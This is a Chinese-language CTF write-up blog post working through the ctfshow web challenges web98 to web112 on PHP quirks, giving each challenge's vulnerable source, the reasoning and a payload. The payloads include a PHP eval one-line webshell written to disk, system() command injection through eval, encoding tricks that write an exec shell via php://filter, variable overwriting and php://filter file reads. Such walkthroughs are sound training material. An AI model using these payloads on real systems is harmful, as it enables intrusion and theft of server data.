ctfshow--web入门_PHP特性_(web98-web112)

PHP特性

web98:

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

前置知识

.表示当前目录
..表示当前目录的上一级目录。
./表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
../表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定。

.

思路:绕过弱比较,接着highlight_file(flag.php);

.

解题过程:

1.绕过==弱比较,利用./flag.php绕过;(不能使用%0aflag.php,虽然可以绕过,但是highlight_file()读取不了flag.php)

2.利用highlight_file(flag.php)读取flag.php;

payload:?u=./flag.php

web99:

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['contenrt']);
}

前置知识

1.array():创建数组
2.array_push($a,"元素"):将一个或多个元素插入数组a的末尾(入栈)。
3.rand(min,max):返回范围随机数
4.in_array(search,array,type):数组中查找目标,若type参数没设置默认为flase相当于弱比较,可以绕过
5.file_put_contents(filename,data):
    filename:要写入数据的文件。如果文件不存在,则创建一个新文件。
    data:必需。要写入文件的数据。

.

思路:因为file_put_contents()可以创建文件并且写入数据,所以尝试利用一句话木马文件上传;

.

解题过程:

1.绕过in_range(),没有设置第三参数所以可以绕过。因为rand(1,$i),所以数组allow一定有1,则传参n中包含1关键字既可以;

2.参数n被当作文件名,所以传值?n=1.php

3.content为文件1.php的数据,传值content=<?php @eval($_POST['1']);?>

4.蚁剑连接 ../1.php,密码为1连接后找到flag;

payload:
    GET:?n=1.php
    POST:content=<?php @eval($_POST['1']);?>

web100:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    } 
}

前置知识:

1.is_numeric():判断是否为数字或者数字字符;
2.var_dump() :函数用于输出变量的相关信息;
3.分号;可以用?<替代

.

思路:v1设置任意数字、v3一定要为分号; 、从v2入手

思路一:有eval()可以考虑命令执行读取flag

思路二:题目提示flag在ctfshow中,尝试var_dump($ctfshow);读取

.

解题过程:

方法一:命令执行

1.v2=system("ls")?<查看当前目录文件文件

2.v2=system("tac ctfshow.php")?<flag出来

一开始开始尝试system("tac flag36d.php")?<只有一个flag_here,发现不是,接着尝试ctfshow.php成功;

payload:?v1=1&v2=system("tac ctfshow.php")?>&v3=;

.

方法二:var_dump()

1.var_dump($ctfshow)?>把变量数组ctfshow相关信息输出:

payload:?v1=1&v2=var_dump($ctfshow)?>&v3=;

web101:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    } 
}

前置知识:

1.php反射类 ReflectionClass(相当于类的映射):
	class ctfshow表示ctfshow是一个类;
	$a=new ReflectionClass('ctfshow');  //建立 ctfshow这个类的反射类
	echo $a; 	//输出这一反射类
.	
	格式:1.echo new ReflectionClass('ctfshow');
	类似还有:
		 2.echo new Exception('ctfshow');
		 3.echo new Error('ctfshow');

.

思路:flag在类ctfshow中,利用反射类ReflectionClass('class');将类ctfshow映射出来得出flag;

.

解题过程:

1.跟web100相似,v2为切入点,由于过滤了很多符号,所以命令执行和var_dump()用不了

2.通过ReflectionClass('ctfshow');映射出类ctfshow; v2=new\\
Reflectionclass&v3=;

payload:?v1=1&v2=echo new Reflectionclass&v3=;

web102:

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

前置知识:

1.substr("Hello world",7) //返回orld:返回第七位开始的字符串;
2.伪协议:php://filter/write=convert.base64-decode/resource=1.php	//把base64形式的数据解码后写入1.php中;
3.call_user_func(函数,函数的参数a):调用参数为a的函数,
	例如:call_user_func(bin2hex,hello); //将参数hello利用bin2hex()函数转为16进制;

.

思路:

思路一:通过将一句话木马转为十六进制传值给v2(绕过is_numeric),通过v1=hex2bin把v2转回一句话木马写入v3=1.php中;\\
------但是过程中题目中is_numeric()识别不了十六进制,所以失败(看网上说是php5版本才能,而题目是php7);

思路二:v2得是全为数字的十六进制,参考大佬将<?=cat *;进行base64编码,接着字符串转16进制得出全是数字,最后通过v3=base64的伪协议写入;

.

解题过程:

方法一(php5版本适用,未实践过):文件上传

1.绕过is_numeric($v2):将一句话木马<?php @eval($_POST['a']);?>通过字符串转为16进制0x3c3f70687020406576616c28245f504f53545b2761275d293b3f3e赋值给v2;

2.绕过substr($v2,2):会把截取0x之后变为3c3f70687020406576616c28245f504f53545b2761275d293b3f3e;

s=3c3f70687020406576616c28245f504f53545b2761275d293b3f3e

3,赋值v1=hex2bin将上面的16进制转回为一句木马的字符串<?php @eval($_POST['a']);?>传进v3=1.php文件中;

str=<?php @eval($_POST['a']);?>

4.蚁剑连接:.../1.php,密码为a;

payload:
   GET:?v2=0x3c3f70687020406576616c28245f504f53545b2761275d293b3f3e&v3=1.php
   POST:v1=hex2bin

.

方法二:伪协议文件文件包含、命令执行

1.绕过is_numeric($v2):

<?=`cat *`;

进行base64编码为PD89YGNhdCAqYDs=,将PD89YGNhdCAqYDs转为16进制5044383959474e6864434171594473结果全为数字;

2.绕过substr($v2,2):前面随便加两数字115044383959474e6864434171594473结果会截取掉11;

v2=115044383959474e6864434171594473

s=5044383959474e6864434171594473

3.赋值v1=hex2bin将上面16进制转回base64的字符串

str=PD89YGNhdCAqYDs

4.利用伪协议v3=php://filter/write=convert.base64-decode/resource=1.php把str通过base64解码后写入1.php;

5.此时网址已经存在1.php文件,里面代码为命令执行代码,打开1.php会命令执行,按F12查看抓取到的信息;

payload:
GET:
	?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:
	v1=hex2bin

web105:

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

前置知识:

1.foreach ():遍历数组
	a.foreach ($array as $key => $value) //array("Bill"=>"63","Steve"=>"56");
		结果为:key=Bill,value=63;	key=Steve,value=56;
	b.foreach ($array as $value) //array("Porsche","BMW");
		结果为:value=Porsche;	value=BMW;
	c.foreach($_GET as $key => $value) //当利用GET传参:?a=b时(Post同理)
		结果为:key=a; value=b;
2.$$key=$$value:变量覆盖
	结果为:$a=$b;(把b变量的值赋值给变量a)//?key=a & value=b;

.

思路:利用变量覆盖,把变量flag的值传给$error或者$suces通过die()输出flag值;

思路一(GET+POST):使用post的话肯定会die($error),所以把flag变量赋值给error变量输出flag;

思路二(GET+GET):没有post方式不会触发die($error),所以触发die($suces),所以把flag变量赋值给suces变量输出flag;

.

解题过程:

方法一:GET+POST

1.因为$key不能等于error,先把变量flag的值赋值给一个变量a,后续再把$a中的flag值传给$error;(通过中间参数c来传值)

image-20231206205119527

GET:?a=flag //$key=a;$value=flag

所以$a=$flag; //$($key)=$($value)

2.同理绕开$value的过滤,把$a的值赋值给$value

image-20231206205740984

POST:error=a //$key=error;$value=a

所以$error=$a //$($key)=$($value)

3.最后会执行die($error);把flag值传出来;

image-20231206224938612

payload:
GET:?a=flag
POST:error=a

.

方法二:GET+GET

1.通过GET把flag值传到$suces,然后把$flag的值改为其他值使得不触发die($error);

image-20231206232446111

2.此时$suces存了flag的值,最后执行die($suces);输出flag;

image-20231206232637582

payload:?suces=flag&flag=1

web107:

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

前置知识:

1.parse_str("flag1=666&&flag2=888",$array); ——变量存到数组$array
	$array=Array //变为数组
	Array[flag1]=666;Array[flag2]=888; 
2.parse_str("name=peter&age=43"); ——把查询字符串解析到变量中
	$name=peter;$age=43;

.

思路:通过parse_str()把flag字符串与v3相等的md5赋值给数组$v2产生Array[flag]=v3的md5值

.

解题过程:

1.随便赋值一个?v3=nb,则需要给v2赋值一个flag字符(因为题目已经设定了$v2['flag'])及nb的md5值(9C59153D22D9F7CC021B17B425CC31C5),加了几行代码验证一下v2和v2['flag']的值;

GET:?v3=nb POST:v1=flag=9C59153D22D9F7CC021B17B425CC31C5

image-20231207173040308

2.发现不行,然后自己把题目添加了一些代码测试,试着把$v2['flag']和md5($v3)分别输出看看怎么回事,发现是md5的大小写问题;

image-20231207172448381

3.最后把md5改为小写成功输出;

image-20231207172712855

image-20231207173258786

payload:
GET:?v3=nb
POST:v1=flag=9c59153d22d9f7cc021b17b425cc31c5

web110:

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    
    eval("echo new $v1($v2());");
}

前置知识:

1.FilesystemIterator 是一个类,用于遍历文件系统中的文件和目录
	用法:echo new FilesystemIterator(文件目录路径);
2.getcwd():函数获取当前工作目录的路径;
利用echo new FilesystemIterator(getcwd());——通过getcwd()获取到路径传给FilesystemIterator进行遍历;

.

**思路:preg_match过滤了(),考虑利用无参函数,通过new考虑用类;

.

解题过程:

1.为了绕过preg_match过滤的(),通过new的字面提示了解到开源利用类FilesystemIterator进行遍历目录(new 类——创建一个新的类对象),v2只能用无参函数,用getcwd()无参函数获取文件路径。

?v1=FilesystemIterator v2=getcwd

image-20231208004447014

2.直接访问fl36dga.txt文件,获取到flag;

image-20231208004619524

payload:?v1=FilesystemIterator&v2=getcwd

web111:

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

前置知识:

1.$v1 = &$v2:会把v2的地址赋给v1,两者公用地址,后续任意一个变量改变,另外一个变量也会改变;
2.$$v1 = $$v2:变量v1和v2所得到的值重新各形成一个新的变量;
	如:$v1=flag,则$$v1===$flag //产生一个新变量flag
3.$GLOBALS:全局变量,包含所有的变量;
	如:通过var_dump($GLOBALS);可以把本程序中所有的变量全部输出来;

.

思路:绕过preg_matc()后,通过变量覆盖生成一个新的变量,并且变量为全局变量,通过var_dump()输出所有变量即可得到关于包含flag的变量;

.

解题过程:

1.绕过preg_matc()调用自定义函数getFlag(),所以v1=ctfshow

2.$$v1 = &$$v2相当于分别产生了两个新变量$ctfshow和$GLOBALS,并且$$v1的地址转向了$$v2的地址。因此$$v2怎么变化,$$v1就怎么变化,最后$$v1等于$GLOBALS,通过var_dump($GLOBALS)输出所有变量信息;

image-20231208195258110

payload:?v1=ctfshow&v2=GLOBALS

_

web112:

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

前置知识:

1.is_file():判断参数是否为文件
绕过:使用伪协议绕过并且读取;
2.伪协议:
	1.php://filter/read=convert.base64-encode/recource=flag.php;//base64编码读文件;
	2.php://filter/resource=flag.php //直接读文件;
	支持伪协议的函数:
		1. highlight_file()
		2.file_get_contents()
		3.file_put_contents()

.

思路:通过highlight_file()高亮显示flag.php文件。得绕过is_flie()过滤了文件,还得绕过preg_match()的过滤;

.

解题过程:

1.通过伪协议绕过is_flie()进入自定义函数filter(),并且还得绕过preg_match(),所有用直接读取文件的伪协议php://filter/resource=flag.php读取flag.php;伪协议参考

image-20231208222124364

payload:?file=php://filter/resource=flag.php
posted @ 2023-12-08 23:22  Sunrise_P  阅读(268)  评论(0)    收藏  举报